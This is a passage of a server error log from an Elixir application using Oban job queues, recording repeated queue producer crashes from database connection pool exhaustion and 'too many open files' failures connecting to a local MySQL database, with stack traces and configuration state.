{:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.121749>, refresh_timer: #Reference<0.2525715032.1121189889.121737>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:33:39.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1090ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:33:27.243630Z], limit: 50, uuid: "9095e09e-86b5-4aa3-a31b-6f44c0da3350", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:33:27.243636Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.14809>, refresh_timer: #Reference<0.2525715032.1068498948.14795>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:33:39.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1059ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:33:27.240748Z], limit: 5, uuid: "f5188bfc-d4c0-4e84-9dee-2b44ace27abe", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:33:27.240752Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.121750>, refresh_timer: #Reference<0.2525715032.1099431938.22903>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:33:39.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 838ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:33:27.240640Z], limit: 3, uuid: "4ae7f2d3-384f-40a2-8869-2aa01ce562ee", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:33:27.240646Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.22924>, refresh_timer: #Reference<0.2525715032.1099431938.22902>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:33:39.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1011ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:33:27.244042Z], limit: 5, uuid: "f6dfc74e-7c58-46dc-81eb-96f92c57c207", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:33:27.244048Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.14810>, refresh_timer: #Reference<0.2525715032.1099431938.22923>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:33:41.232000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:43.484000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:48.349000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:50.134000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1071ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:33:39.239754Z], limit: 10, uuid: "6673236c-b142-468b-ab00-a449925d7cbb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:33:39.239760Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.15169>, refresh_timer: #Reference<0.2525715032.1099431938.22991>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:33:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 896ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:33:39.240061Z], limit: 20, uuid: "10f90c1e-3ba8-45cf-89ea-a1590927b17a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:33:39.240066Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.15168>, refresh_timer: #Reference<0.2525715032.1099431938.22996>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:33:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1097ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:33:39.240508Z], limit: 5, uuid: "1837b4a3-3e40-4a05-a06b-952139bc1b6d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:33:39.240514Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.15166>, refresh_timer: #Reference<0.2525715032.1121189889.122016>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:33:50.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 878ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:33:39.242214Z], limit: 5, uuid: "0843c865-c53f-4608-bf94-49e020e0e3d4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:33:39.242219Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.15165>, refresh_timer: #Reference<0.2525715032.1121189889.122036>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:33:50.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 880ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:33:39.240698Z], limit: 3, uuid: "172d8d59-48f5-4e37-bd8f-9ec8df73b0fc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:33:39.240703Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, 